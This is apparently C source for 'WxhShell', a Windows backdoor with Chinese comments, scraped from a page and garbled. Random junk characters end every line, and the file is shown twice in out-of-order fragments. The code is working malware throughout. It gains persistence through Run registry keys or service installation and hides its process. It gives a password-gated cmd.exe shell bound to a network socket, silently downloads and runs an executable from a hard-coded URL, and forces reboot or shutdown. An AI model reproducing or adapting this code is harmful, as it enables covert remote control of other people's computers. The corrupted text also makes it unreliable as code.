    if(Boot(SHUTDOWN)) \%^%wXfp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]BR,M4   
    else { U!U$x74D5  
    closesocket(wsh); sBrI}[oyx  
    ExitThread(0); {ZY+L;eg1  
    } P) 3mX.(}  
    break; .`>y@p!  
    } [q !T Iq  
  // 获取shell E4 m`  
  case 's': { ,|&9M^  
    CmdShell(wsh); ( =~&+z  
    closesocket(wsh); Xd^\@  
    ExitThread(0); .{y uo{u  
    break; ]?*I9  
  } B,,D7cQC  
  // 退出 qOIW(D  
  case 'x': { P#=`2a#G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8 r_>t2$  
    CloseIt(wsh); Aq3}Ng  
    break; 5^^XQ?"  
    } 8\:NMP8W\  
  // 离开 p<M\U"5Ye  
  case 'q': { Y>'|oygHA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cM&{+el  
    closesocket(wsh); 5mb]Q)f9-  
    WSACleanup(); EkziAON  
    exit(1); $56,$K`H  
    break; xyI}y(CN1  
        } B^g ?=|{  
  } h@a+NE8  
  } c y8;@[#9  
lRXK\xIP ,  
  // 提示信息 zc[Si bT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N<~ku<nAU  
} O{ #=d  
  } F_CYYGZ  
72'5%*1  
  return; pR~U`r5z  
} 7hsGua  
jy'13G/b\  
// shell模块句柄 z[Xd%mhjO  
int CmdShell(SOCKET sock) P#AW\d^"B  
{ TqnT S0fx  
STARTUPINFO si; >y,-v:Vy  
ZeroMemory(&si,sizeof(si)); thhwN A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dc,I7F|%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~ 0M'7q'  
PROCESS_INFORMATION ProcessInfo; P-9<YN  
char cmdline[]="cmd"; :Y[LN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <i,U )Tt^C  
  return 0; )= =Jfn y  
} 6Oy$gW)  
)rC6*eR  
// 自身启动模式 0=?<y'=  
int StartFromService(void) +llR204  
{ 13>0OKg`#  
typedef struct UeRj< \"Q  
{ D|{jR~J)xK  
  DWORD ExitStatus; O&Y*pOg  
  DWORD PebBaseAddress; pej|!oX  
  DWORD AffinityMask; 4T ~}  
  DWORD BasePriority; 62zYRs\Y)X  
  ULONG UniqueProcessId; [EKQR>s)  
  ULONG InheritedFromUniqueProcessId; "yS _s  
}   PROCESS_BASIC_INFORMATION; P}4QQw  
.4E&/w+  
PROCNTQSIP NtQueryInformationProcess; .nVa[B |.  
[C'JH//q*t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7Ve1]) u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; va0{>Dc+  
S Em Q@1  
  HANDLE             hProcess;  bJX)$G  
  PROCESS_BASIC_INFORMATION pbi; J|qZ+A[z  
ax<?GjpM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o6uJyCO  
  if(NULL == hInst ) return 0; ~GZY5HF  
):[7E(F=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o{y9r{~A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :0Rx#%u}#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  A|<jX}  
C@'h<[v`1v  
  if (!NtQueryInformationProcess) return 0; N u<_}  
$adbCY \  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0|{u{w@!`  
  if(!hProcess) return 0;  @fl-3q  
~ Q.7VDz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xwq+j "  
=ACVE;L?  
  CloseHandle(hProcess); 24z< gO  
& tg&5_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FG.em  
if(hProcess==NULL) return 0;  PoxK{Y  
^rifRY-,yO  
HMODULE hMod; xe^Gs]fm  
char procName[255]; e4>_v('  
unsigned long cbNeeded; .K1FKC$C  
~T1 XLu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M`,)wi  
OC BgR4I  
  CloseHandle(hProcess); JzQ)jdvp  
8Dj c c z  
if(strstr(procName,"services")) return 1; // 以服务启动 *%%g{ 3$  
VHIOwzC  
  return 0; // 注册表启动 0Ziw_S\d&s  
} P\1L7%*lU  
nU7>uU  
// 主模块 v>Q #B  
int StartWxhshell(LPSTR lpCmdLine) \1D<!k\S  
{ RO 4Z?tz  
  SOCKET wsl; H|3:6x  
BOOL val=TRUE; Uq^#riq  
  int port=0; zh8nc%X{  
  struct sockaddr_in door; Vex{.Vh,"  
Cv6'`",Yzm  
  if(wscfg.ws_autoins) Install();  : y%d  
g/CSG IIT  
port=atoi(lpCmdLine); S[PE$tYT#t  
0jy2H2  
if(port<=0) port=wscfg.ws_port; >0ow7Uw;  
8%A#`)fb  
  WSADATA data; '>-gi}z7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X=5xh  
u)}$~E>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UC]\yUK1J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0IBhb(X  
  door.sin_family = AF_INET; Lr$go6s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dfKF%27  
  door.sin_port = htons(port); $u]jy0X<Y;  
vq(0OPj8r[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aX)I3^ar  
closesocket(wsl); ,JAx ?Xb  
return 1; 6-$jkto  
} pwL ;A3$|  
< $J>9k  
  if(listen(wsl,2) == INVALID_SOCKET) { 49GkPy#]L=  
closesocket(wsl); .F   
return 1; "{@A5A  
} 9K{%vK  
  Wxhshell(wsl); hI]Hp3S  
  WSACleanup(); IzikDc10  
)dbB =OZ  
return 0; a{^m-fSaR"  
gQWa24  
} $'BSH4~|.  
Pg,b-W?n*  
// 以NT服务方式启动 dJJP3} M/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G_bG  
{ We$:&K0  
DWORD   status = 0; v$7QIl_/7  
  DWORD   specificError = 0xfffffff; Mm.<r-b  
_aGOb;h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WA)yfo0A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R!\_rc1/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v1o#1;  
  serviceStatus.dwWin32ExitCode     = 0; 3er nTD*`  
  serviceStatus.dwServiceSpecificExitCode = 0; ,J,/."Y  
  serviceStatus.dwCheckPoint       = 0; 1+szG1U=  
  serviceStatus.dwWaitHint       = 0; G&D7a/G\  
\F1_lq;K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >`Y.+4 mE  
  if (hServiceStatusHandle==0) return; KHe=O1 %QO  
!=;+%C&8y  
status = GetLastError(); 0b+Wc43}K  
  if (status!=NO_ERROR) @L<*9sLWh  
{ +T|JK7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sqEI4~514  
    serviceStatus.dwCheckPoint       = 0; ^U `[(kz=  
    serviceStatus.dwWaitHint       = 0; hn5h\M?  
    serviceStatus.dwWin32ExitCode     = status; 0h#l JS*  
    serviceStatus.dwServiceSpecificExitCode = specificError; GPkmf%FJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z:8eEq3w  
    return; Aydm2!l1  
  } t2/#&J]  
Rp.Sj{<2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; msP{l^%0  
  serviceStatus.dwCheckPoint       = 0; !}YAdZJ  
  serviceStatus.dwWaitHint       = 0; +o\:d1y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [B+yyBtx  
} {G U&a  
10)jsA  
// 处理NT服务事件,比如:启动、停止 pWy=W&0~qf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iq8Grd L"  
{ >p)MawT]  
switch(fdwControl) ^V?<K.F  
{ 13=A  
case SERVICE_CONTROL_STOP: |v \_@09=  
  serviceStatus.dwWin32ExitCode = 0; 'qZW,],5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o|>'h$  
  serviceStatus.dwCheckPoint   = 0; j/R[<47  
  serviceStatus.dwWaitHint     = 0; QqFR\6  
  { {K+i cTL3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I;e=0!9U  
  } G9Y#kBr  
  return; C`$n[kCJ  
case SERVICE_CONTROL_PAUSE:  O{QA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?{/4b:ua  
  break; NG--6\  
case SERVICE_CONTROL_CONTINUE: .n#@$ nGZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A#Iyb){Y  
  break; LgKaPg$  
case SERVICE_CONTROL_INTERROGATE: Yk)."r&?  
  break; :yRo3c  
}; k[bD\'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @JtM5qB  
} J#w J4!  
}T; P~aG  
// 标准应用程序主函数 q"%_tS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5>CEl2mSl  
{ zDw5]*R  
24E}<N,g  
// 获取操作系统版本 @Fluc,Il  
OsIsNt=GetOsVer(); + ,%&e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B|R@5mjm  
Sx708`/Ep  
  // 从命令行安装 ]Y%Vio  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9`1O"R/  
ey2S#%DF]  
  // 下载执行文件 2/?`J  
if(wscfg.ws_downexe) { mR&H9 NG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c#|raXGT  
  WinExec(wscfg.ws_filenam,SW_HIDE); nH`Q#ZFz]?  
} {t0) q  
q|j2MV5#g  
if(!OsIsNt) { (a[y1{DLy  
// 如果时win9x,隐藏进程并且设置为注册表启动 _kj wFq  
HideProc(); ur3(HL  
StartWxhshell(lpCmdLine); S4'   
} T;L>;E>B  
else G!"YpYml  
  if(StartFromService()) d*jMZ%@uS  
  // 以服务方式启动 :ctu5{"UJ  
  StartServiceCtrlDispatcher(DispatchTable); [Grxw[(_:  
else 3  ^>l\,  
  // 普通方式启动 ;*Ivn@L  
  StartWxhshell(lpCmdLine); )CuZDf@  
$* AYcy7  
return 0; {_`^R>"\&w  
} =-8bsV/l  
SSPHhAeH8  
}\%Fi/6Z{  
%+j8["VEC  
=========================================== :[O 8  
O_ChxX0KP  
_JHd9)[  
f|B=_p80  
>+JqA7K  
?\t#1"d  
" %/|9@er  
W+PJZn  
#include <stdio.h> HkO7R `  
#include <string.h> *VFf.aPwYi  
#include <windows.h> g+pml*LJ  
#include <winsock2.h> K? y[V1,  
#include <winsvc.h> XZ sz/#  
#include <urlmon.h> mVVD!  
+3BBQ+x!  
#pragma comment (lib, "Ws2_32.lib") 8zRP (+&W  
#pragma comment (lib, "urlmon.lib") ZZHDp&lh}  
]L9s%]o  
#define MAX_USER   100 // 最大客户端连接数 VHCK2}ps  
#define BUF_SOCK   200 // sock buffer ~io szX  
#define KEY_BUFF   255 // 输入 buffer >4#)r8;dx  
Y0x%sz 5  
#define REBOOT     0   // 重启 5Ow[~p"l<  
#define SHUTDOWN   1   // 关机 vRs,zL$W  
TygW0b 1  
#define DEF_PORT   5000 // 监听端口 K('hC)1  
7J EbH?lEN  
#define REG_LEN     16   // 注册表键长度 wgamshm"d  
#define SVC_LEN     80   // NT服务名长度 d8[J@M53|T  
%kS(LlL+6  
// 从dll定义API )(ImLbM)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hea;?4Vg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 77\] B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8,C*4y~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y~q8pH1  
T)H{  
// wxhshell配置信息 jz qyk^X  
struct WSCFG { %p2Sh)@M  
  int ws_port;         // 监听端口 y+"X~7EX  
  char ws_passstr[REG_LEN]; // 口令 )iYxt:(,  
  int ws_autoins;       // 安装标记, 1=yes 0=no /H8g(  
  char ws_regname[REG_LEN]; // 注册表键名 H."EUcE{  
  char ws_svcname[REG_LEN]; // 服务名 d-k%{eBV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CIb2J)qev  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ti I.W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M luVx'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :cF[(i/k4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^Wt*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aX5 z&r:{  
5]AC*2(  
}; #vti+A~n,4  
%= fHu+  
// default Wxhshell configuration yXHUJgjl/  
struct WSCFG wscfg={DEF_PORT, KY51rw.  
    "xuhuanlingzhe", [n \2  
    1, AaWs}M  
    "Wxhshell", ioYGZ%RG#  
    "Wxhshell", !bN*\c  
            "WxhShell Service", X*{2[+<o  
    "Wrsky Windows CmdShell Service", _$ +^q-  
    "Please Input Your Password: ", |4B:<x   
  1, _V7r1fY:  
  "http://www.wrsky.com/wxhshell.exe", umt.Um.m2  
  "Wxhshell.exe" YVHm{A1b0  
    }; 6)Y.7XR  
X]wRwG  
// 消息定义模块 3'cE\u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]pH-2_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %M7` Hwu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k'Sp.  
char *msg_ws_ext="\n\rExit."; mP0yk|  
char *msg_ws_end="\n\rQuit."; m^ tFi7c  
char *msg_ws_boot="\n\rReboot..."; y:~ZLTAv  
char *msg_ws_poff="\n\rShutdown..."; C|}iCB  
char *msg_ws_down="\n\rSave to "; -"=U?>(  
`f*Q$Ulqx  
char *msg_ws_err="\n\rErr!"; #a'Ex=%rM  
char *msg_ws_ok="\n\rOK!"; ki?S~'a  
d$ x"/A]<  
char ExeFile[MAX_PATH]; gm igsXQ  
int nUser = 0; Z -W(l<  
HANDLE handles[MAX_USER]; >[*8I\*@n  
int OsIsNt; {L/tst#C  
Y@N,qHtz  
SERVICE_STATUS       serviceStatus; VGpWg rmHk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O(D ~_O.  
i} .&0Fp  
// 函数声明 lT&eJO~?5  
int Install(void); ms*(9l.hOK  
int Uninstall(void); I %sFqh>  
int DownloadFile(char *sURL, SOCKET wsh); U%q7Ai7  
int Boot(int flag); = kJ,%\E`  
void HideProc(void); :h\Q;?  
int GetOsVer(void); ?o81E2TJO  
int Wxhshell(SOCKET wsl); gW)3e1a  
void TalkWithClient(void *cs); 95A1:A^t  
int CmdShell(SOCKET sock); Xq_5Qv  
int StartFromService(void); YjxF}VI~<  
int StartWxhshell(LPSTR lpCmdLine); 3%E }JU?MM  
+a^nlW9g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bN]+_ mF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '8!Y D?n  
g# Sl %Y  
// 数据结构和表定义 8FKXSqhVM  
SERVICE_TABLE_ENTRY DispatchTable[] = zgNc4B  
{ zNxW'?0Z?  
{wscfg.ws_svcname, NTServiceMain}, c:<005\Bg  
{NULL, NULL} WST8SEzJ  
}; 9x>d[-#y:J  
-likj# Z  
// 自我安装 y\Ic@-aWI  
int Install(void) m1B+31'>^  
{ b:l P%|7  
  char svExeFile[MAX_PATH]; jL%x7?*U0  
  HKEY key; 8Kg n"M3  
  strcpy(svExeFile,ExeFile); j|U#)v/  
_+K_5IO4  
// 如果是win9x系统,修改注册表设为自启动 }1Gv)l7  
if(!OsIsNt) { 2R;}y7{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @D{KdyW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PsnWWj?c  
  RegCloseKey(key); @k,z:~[C=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Z~<CbKKl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UTH*bL5/J2  
  RegCloseKey(key); kCR_tn 4  
  return 0; o4m\~as)Y  
    } /178A;J y  
  } H*ow\ Ct  
} 'p> Ra/4  
else { mZSD(  
_jLL_GD  
// 如果是NT以上系统,安装为系统服务 o]yl ;I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QZ6D7t Uc8  
if (schSCManager!=0) ,l !Ta "  
{ _FH`pv  
  SC_HANDLE schService = CreateService B8f8w)m  
  ( `|{-+m  
  schSCManager, oW ::hB  
  wscfg.ws_svcname, s5CXwM6cx  
  wscfg.ws_svcdisp, C-Q28lD}f  
  SERVICE_ALL_ACCESS, sH{4Y-J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U>]$a71  
  SERVICE_AUTO_START, _I@9HC 4  
  SERVICE_ERROR_NORMAL, Fv~20G (O  
  svExeFile, <0b)YJb4M  
  NULL, c~z82iXNO  
  NULL, &,zq%;-f  
  NULL, kD=WO4}  
  NULL, ,{M^-3C  
  NULL vHyC;4'  
  ); zHA!%>%'  
  if (schService!=0) R3x3]]D  
  { qTdheX/  
  CloseServiceHandle(schService); TE3lK(f  
  CloseServiceHandle(schSCManager); 2bJQTk_S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &e E=<x  
  strcat(svExeFile,wscfg.ws_svcname); 0z1ifg&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r[|Xy>Zj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ',9V|jvK  
  RegCloseKey(key); 't:; irLW.  
  return 0; OI|[roMK  
    } b$N 2z  
  } K"|l@Q[  
  CloseServiceHandle(schSCManager); A)bWcB}U  
} Y<N5# );f  
} 01wX`"I  
aI P  
return 1; EMY/~bQW  
} idLWe9gC  
.nrMfl_  
// 自我卸载 q]T1dz?  
int Uninstall(void) z[b@ V  
{ SIBtmm1W  
  HKEY key;  7''??X  
A,JmX  
if(!OsIsNt) { ns9U/ :L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /rK}?U  
  RegDeleteValue(key,wscfg.ws_regname); uaT!(Y6  
  RegCloseKey(key); Q_"]+i]s@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ck: T,F{}  
  RegDeleteValue(key,wscfg.ws_regname); [%q@]\U$s  
  RegCloseKey(key); dq(uVW^&ae  
  return 0; n6wV.?8  
  } \y97W&AN  
} gH12[Us'`  
} /s x@$cvW  
else { cS5Pl  
,]|#[8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j'Gt&\4  
if (schSCManager!=0) PQy4{0 _  
{ a!a-b~#cx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T -.%  
  if (schService!=0) Bal$+S  
  { /Lfm&;  
  if(DeleteService(schService)!=0) { kjIAep0rT  
  CloseServiceHandle(schService); ^yWL,$  
  CloseServiceHandle(schSCManager); r(:5kC8K  
  return 0; wo4;n9@I  
  } h{%nC>m;  
  CloseServiceHandle(schService); e^8 O_VB  
  } c23oCfB>  
  CloseServiceHandle(schSCManager); um jt]Gu[  
} gqZ'$7So  
} |?!~{-o  
"Lzi+1  
return 1; ^H~h\,;zQ  
} p)`{Sos  
yMG1XEhuG  
// 从指定url下载文件 `.E[}W  
int DownloadFile(char *sURL, SOCKET wsh) K*%9)hq  
{ PY{ G [  
  HRESULT hr; .CL[_;}  
char seps[]= "/"; Q A< Rhv,  
char *token; Z/W:97M  
char *file; x3hB5p$q  
char myURL[MAX_PATH]; .!Oo|m`V@  
char myFILE[MAX_PATH]; R cAwrsd  
-)w@f~Q  
strcpy(myURL,sURL); =m!-m\B/  
  token=strtok(myURL,seps); Dt}JG6S  
  while(token!=NULL) B-xGX$<z  
  { p, h9D_  
    file=token; >=qf/K +#  
  token=strtok(NULL,seps); Q 8T]\6)m  
  } 1#C4;3i,  
b,5~b&<h  
GetCurrentDirectory(MAX_PATH,myFILE); /$i.0$L  
strcat(myFILE, "\\"); <NR#Y%}-V  
strcat(myFILE, file); bfFeBBi  
  send(wsh,myFILE,strlen(myFILE),0); zZ7;jyD  
send(wsh,"...",3,0); b+%f+zz*h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3_ r*y9l  
  if(hr==S_OK) Hkk/xNP  
return 0; ?Y$JWEPJ  
else uW=k K0E  
return 1; o m^0}$V  
A#K14Ayr  
} VQ(jpns5  
gT3_RUF  
// 系统电源模块 _> 5(iDW0  
int Boot(int flag) Vp#JS3Y  
{ E-4b[xNj*+  
  HANDLE hToken; 6 hw=  
  TOKEN_PRIVILEGES tkp; |ax3sAg  
sGi"rg#  
  if(OsIsNt) { S ^"y4- 2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )SaGH3~*C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?ME6+Z\  
    tkp.PrivilegeCount = 1; {ME2ImD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oL!EYbFD'Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5-|:^hU9  
if(flag==REBOOT) { ,-$LmECg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,g%0`SO  
  return 0; D60aH!ft  
} cm&nd'A't  
else { ; ^*}#X d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y0{u<"t%w  
  return 0; )fFb_U  
} :yL] ;J  
  } Z 6t56"u  
  else { "fQ~uzg="  
if(flag==REBOOT) { Pnk5mK$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yg `j-9[8  
  return 0; "An,Q82oHf  
} z#zI1Am(O  
else { NvD7Krqwa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qk0R a_  
  return 0; V3 9g,=`b%  
} ?[VM6- &  
} -j+UMlkB  
4~ q5,^kgB  
return 1; [^R^8k  
} Gk. ruQW"  
|!1Y*|Q%s  
// win9x进程隐藏模块 8Ry3`ct  
void HideProc(void) &x=.$76  
{ F<ZYh  
=qoWCmg"&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ls?~+\Jb  
  if ( hKernel != NULL ) 3oBtP<yG.  
  { bh s5x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :I"2V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rK@8/?y5  
    FreeLibrary(hKernel); v V'EZ ?  
  } ob+b<HFv  
aB*Bz]5;E  
return; 5<iV2Hx  
} ) mI05  
}Q)#[#e  
// 获取操作系统版本 ~t@cO.c  
int GetOsVer(void) \6S7T$$ 1m  
{ IrR7"`.i  
  OSVERSIONINFO winfo; GSY(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QEm|])V  
  GetVersionEx(&winfo); V("{)0~O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T!-\@PB !  
  return 1; y>R=`A1b  
  else 4qN{n#{+]  
  return 0; Rh3eLt~|(  
} }elc `jj  
~< P 0]ju  
// 客户端句柄模块 d4m=0G`  
int Wxhshell(SOCKET wsl) .0p0_f=  
{ ZWii)0'PV  
  SOCKET wsh; t#yk ->,  
  struct sockaddr_in client; O1rvaOlr  
  DWORD myID; NWP5If|'X  
LnFdhrB@x  
  while(nUser<MAX_USER) 7WZrSC  
{ D_?K"E=fw  
  int nSize=sizeof(client); MV! {j;g1<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &w4?)#  
  if(wsh==INVALID_SOCKET) return 1; `0rd26Qro  
}Dp*}=?E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =AsEZ)" _  
if(handles[nUser]==0) &*sP/z  
  closesocket(wsh); 68bQ;Dv  
else *xc_k"\  
  nUser++; h~A/y!s  
  } *zNYZ#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V @rI`~$  
%`k6w3qI  
  return 0; [l:x'_y  
} i}b${n o  
pb^i^tA+A  
// 关闭 socket m9)p-1y@5  
void CloseIt(SOCKET wsh) 6f;fx}y  
{ 3yANv?$a  
closesocket(wsh); -1Jg?cPz k  
nUser--; +O'3|M  
ExitThread(0); gwNq x"  
} z _g~  
hrmut*<|  
// 客户端请求句柄 yhlFFbU  
void TalkWithClient(void *cs) OL5v).Bb  
{ T} `x-  
1pQn8[sc@  
  SOCKET wsh=(SOCKET)cs; Ulhk$CPA  
  char pwd[SVC_LEN]; }L &^xe  
  char cmd[KEY_BUFF]; X#d~zk[r2  
char chr[1]; J2d.f}-  
int i,j; s.EI`*xylY  
yH7F''O7  
  while (nUser < MAX_USER) { -VZ-<\uH  
c~6>1w7SZ4  
if(wscfg.ws_passstr) { nvca."5y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?m![Pg%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PxF <\pu&  
  //ZeroMemory(pwd,KEY_BUFF); U!T~!C^  
      i=0; WJ)z6m]  
  while(i<SVC_LEN) { w'L\?pI  
~L]|?d"  
  // 设置超时 |].pDwgt  
  fd_set FdRead; \ Fl+\?~D  
  struct timeval TimeOut; h"lX 4  
  FD_ZERO(&FdRead); $GYm6x\4  
  FD_SET(wsh,&FdRead); ko1J094Y%  
  TimeOut.tv_sec=8;  0,r}o  
  TimeOut.tv_usec=0; EQ2#/>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PiYY6i0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6\L0mcXR!  
z25lZI" X`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %?LOs H   
  pwd=chr[0]; aGK?x1_  
  if(chr[0]==0xd || chr[0]==0xa) { sfLMk E  
  pwd=0; 4f@o mAM  
  break; ^<;V]cY`  
  } =b38(\  
  i++; U0=]  
    } U93}-){m  
ygOd69  
  // 如果是非法用户,关闭 socket l;af~ef)'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ok>gh2e[c  
} '"y|p+=j:  
UU'|Xz9~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r`%+M7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @95FN)TXZY  
a-y+@#;2_  
while(1) { p/(~IC "!J  
+U_=*"@|  
  ZeroMemory(cmd,KEY_BUFF); * +'x~a  
F1iGMf-8  
      // 自动支持客户端 telnet标准   8iW;y2qF  
  j=0; & +4gSr  
  while(j<KEY_BUFF) { ##KBifU"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rxr{/8%f%  
  cmd[j]=chr[0]; M@h|bN  
  if(chr[0]==0xa || chr[0]==0xd) { ur*T%b9&  
  cmd[j]=0; (E/lIou  
  break; -yR.<KnL  
  } . 7zK@6i  
  j++; Jm|+-F@I  
    } A"`foI$0  
%cCs?ic  
  // 下载文件 =PUt&`1.a  
  if(strstr(cmd,"http://")) { j lp:lX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u4m,'XR  
  if(DownloadFile(cmd,wsh)) 3:5 &Aa!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ";BlIovT=R  
  else $=5=NuX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BQBeo&n6  
  } : q ti  
  else { .udv"?!z  
A; 5n:Sd  
    switch(cmd[0]) { zR `EU,  
  ~)qtply  
  // 帮助 7~&/_3  
